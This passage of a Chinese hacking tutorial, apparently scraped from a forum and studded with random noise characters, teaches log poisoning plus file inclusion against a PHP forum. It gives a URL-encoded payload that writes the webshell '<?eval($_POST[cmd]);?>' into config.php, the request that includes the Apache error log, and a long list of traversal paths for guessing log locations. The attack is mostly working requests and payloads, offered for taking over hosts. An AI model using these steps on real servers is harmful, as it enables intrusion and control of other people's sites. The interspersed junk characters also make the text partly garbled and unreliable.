因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。 ( ~, C1 U* N* u9 ?- M+ A& c: ?
$ W) j x3 M6 }* U$ o& P比如还是这句一句话木马
- p1 J" s' L) `# |! ]2 {( O. x<?eval($_POST[cmd]);?>
3 j" J, Q5 Z" P7 w4 G, S7 i( i% r( j/ J o/ R
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句, 6 Q. T- z' O3 M& o5 f
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 s) |& f' x. x
. \# t: u+ Y$ X
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
3 n# Q# D# E1 d4 dfclose($fp);?> //在config.php里写入一句木马语句
! \: j* y4 z+ C
! ^" ~# T# r9 ?% j$ C+ J; _, z5 s+ U我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。 " X/ ^9 _0 r" [' T2 I. T- M
转换为
' u7 Z: @$ d( V# \; U8 F%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F / O( c6 l. W- B$ H# |
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp : S: `1 V! E+ ]& ]' K1 S
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B 6 v2 i- x& B2 Y1 m0 N( k7 r
fclose%28%24fp%29%3B%3F%3E
' Y/ l) A8 [/ m, B( t我们提交
7 }' e' M) s0 k0 A, ]6 Mhttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
' S- ?% r0 {& I- \; h$ n%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp $ B% L3 g" {) e% q! O* j' G
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
: J/ N' S+ y6 ncmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E $ c: `# _# v& S: R8 C
; W# y4 M0 s' R5 L, V# Q1 ?这样就错误日志里就记录下了这行写入webshell的代码。 5 p5 e7 O5 Z" [( b! e* N
我们再来包含日志,提交
9 [& N1 s2 c0 B* O, Whttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log * e" U- k. _# u! z% ?; ~
1 {; k; `# ]& H' Z0 I' N% V( z
这样webshell就写入成功了,config.php里就写入一句木马语句 ; G# F# i* G8 g1 V3 O
OK.
- a% h9 G9 c5 z7 N& Whttp://www.xxx.com/forum/config.php这个就成了我们的webshell
# C) f* Q1 M! B直接用lanker的客户端一连,主机就是你的了。
7 E# y, K+ Q/ C4 y. s, J. [% @$ W+ s. f- D. {
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
; S/ n+ n: R) n0 i+ d
4 ^4 B3 G' Y- R7 W( n其他的日志路径,你可以去猜,也可以参照这里。 ' D9 D) ?( I2 E+ v+ ]# e; a+ T
../../../../../../../../../../var/log/httpd/access_log 6 W X* d2 ^7 }' z
../../../../../../../../../../var/log/httpd/error_log 0 @- G# c$ S9 a5 k' X
../apache/logs/error.log + G9 w/ R5 }" ?/ {" X. z. e
../apache/logs/access.log
J- j- \7 f) c8 t../../apache/logs/error.log ( _1 p7 \$ [1 v. t
../../apache/logs/access.log $ K7 M$ f$ h E( f
../../../apache/logs/error.log
}4 Q/ q8 C) G' C$ S. B../../../apache/logs/access.log
$ h7 f& s2 U5 z6 y. t../../../../../../../../../../etc/httpd/logs/acces_log
( t2 b; f0 f! A5 v# r2 b../../../../../../../../../../etc/httpd/logs/acces.log ) o2 N$ V% I4 h* I8 e
../../../../../../../../../../etc/httpd/logs/error_log
- j& k$ p5 k% T3 J8 c# r& p../../../../../../../../../../etc/httpd/logs/error.log - O" R% G# i, Y. j/ i9 U* J
../../../../../../../../../../var/www/logs/access_log
/ V9 u! Z4 ?, L8 v. g../../../../../../../../../../var/www/logs/access.log 6 o/ a6 H; c) r' Q' f, a3 `
../../../../../../../../../../usr/local/apache/logs/access_log
. C# r7 F# z1 Z3 I5 ~2 n/ b../../../../../../../../../../usr/local/apache/logs/access.log
; J5 E5 o9 }$ _7 e5 Z R0 N../../../../../../../../../../var/log/apache/access_log
1 ^& P2 x2 X3 {% d5 ]5 a+ [../../../../../../../../../../var/log/apache/access.log + K, K4 f3 G4 w/ T4 U" H9 _
../../../../../../../../../../var/log/access_log
; M B7 }0 O# a% Q: F../../../../../../../../../../var/www/logs/error_log ! f( M3 u( ]0 d* F
../../../../../../../../../../var/www/logs/error.log
& E0 }. T# n9 k! W/ r) G3 t' e/ u../../../../../../../../../../usr/local/apache/logs/error_log
0 W: i$ H+ R; r../../../../../../../../../../usr/local/apache/logs/error.log
( D1 }( x1 _ o../../../../../../../../../../var/log/apache/error_log
4 ~% g6 l" |1 D, U0 O3 F( I, x, w8 B../../../../../../../../../../var/log/apache/error.log
+ J* K E/ F5 Y$ O+ c7 d1 ]$ M../../../../../../../../../../var/log/access_log m/ C. @1 u1 u' S
../../../../../../../../../../var/log/error_log
' |5 V8 d1 G0 q: I6 _/ A/var/log/httpd/access_log
9 d* a2 O8 o! M2 }% j/var/log/httpd/error_log
: U# I2 w3 o; ], O/ w../apache/logs/error.log $ V1 a* h6 ?3 q) S& f# V
../apache/logs/access.log
! P& i+ f+ R2 N) {$ U# u( `../../apache/logs/error.log
3 v, d( m' g: Q1 I7 h! K4 B, O../../apache/logs/access.log ) a0 X3 o( ~2 i2 g* W# ~, t D1 V
../../../apache/logs/error.log % l) H) Z, G3 n0 u1 h7 ^
../../../apache/logs/access.log
0 F. L1 i5 w: N# d7 `1 C/etc/httpd/logs/acces_log 7 Y- J; j9 s2 H, z. v8 d$ U
/etc/httpd/logs/acces.log $ G+ T' z9 @- x$ J* r
/etc/httpd/logs/error_log / _$ q# X4 C: R! q9 B
/etc/httpd/logs/error.log
; |% x; e1 q; T% s! k* |- X/var/www/logs/access_log ' f- V4 R: i% L" U5 t0 c) X; `
/var/www/logs/access.log * C/ m* E% v# [
/usr/local/apache/logs/access_log
& N8 P, T+ A# }# \: ]/usr/local/apache/logs/access.log
- C$ a" {' g. p ]$ C' O/var/log/apache/access_log
9 J0 G; C( a8 ~ J* P/var/log/apache/access.log
2 d( H4 Y F7 ]. Q. j/var/log/access_log 9 O+ ^3 d: W+ o$ F
/var/www/logs/error_log
: R; f1 V, D+ m/var/www/logs/error.log 9 ?8 p" R. M; q7 }* L
/usr/local/apache/logs/error_log 0 {1 s6 S# F% }; ]6 I, k
/usr/local/apache/logs/error.log
4 v/ O3 D4 D! y/var/log/apache/error_log n1 ]4 E( S6 W1 q
/var/log/apache/error.log
" U s9 `. M) |" O" z/var/log/access_log
9 v# S! D. K. R4 g+ S/var/log/error_log |